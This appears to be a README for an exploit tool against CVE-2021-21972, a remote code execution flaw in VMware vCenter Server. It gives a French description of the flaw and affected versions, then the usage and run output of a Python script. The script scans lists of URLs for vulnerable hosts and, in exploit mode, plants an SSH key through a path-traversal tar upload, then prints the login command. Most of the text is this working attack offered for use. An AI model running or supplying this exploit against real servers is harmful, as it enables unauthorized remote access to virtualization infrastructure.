
CVE-2021-21972
Le client vSphere (HTML5) contient une vulnérabilité d'exécution de code à distance dans un plugin vCenter Server. Un acteur malveillant ayant un accès réseau au port 443 peut exploiter ce problème pour exécuter des commandes avec des privilèges illimités sur le système d'exploitation sous-jacent qui héberge vCenter Server. Cela affecte VMware vCenter Server (7.x avant 7.0 U1c, 6.7 avant 6.7 U3l et 6.5 avant 6.5 U3n) et VMware Cloud Foundation (4.x avant 4.2 et 3.x avant 3.10.1.2).
% python3 CVE-2021-21972.py -h
Usage: CVE-2021-21972.py [options]
Options:
-h, --help show this help message and exit
-i FILE file containing list of urls
-u URL, --url=URL https://1.1.1.1
-f FILENAME
-n NOOFTHREADS
-e, --exploit
-c, --check
%
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -e
[*] Creating tmp.tar containing ../../../../../home/vsphere-ui/.ssh/authorized_keys
[+] https://172.16.164.1 SUCCESS
Login using 'ssh -i id_rsa [email protected]'
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972
% python3 /tmp/CVE_2021_21972.py -u https://172.16.164.1 -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972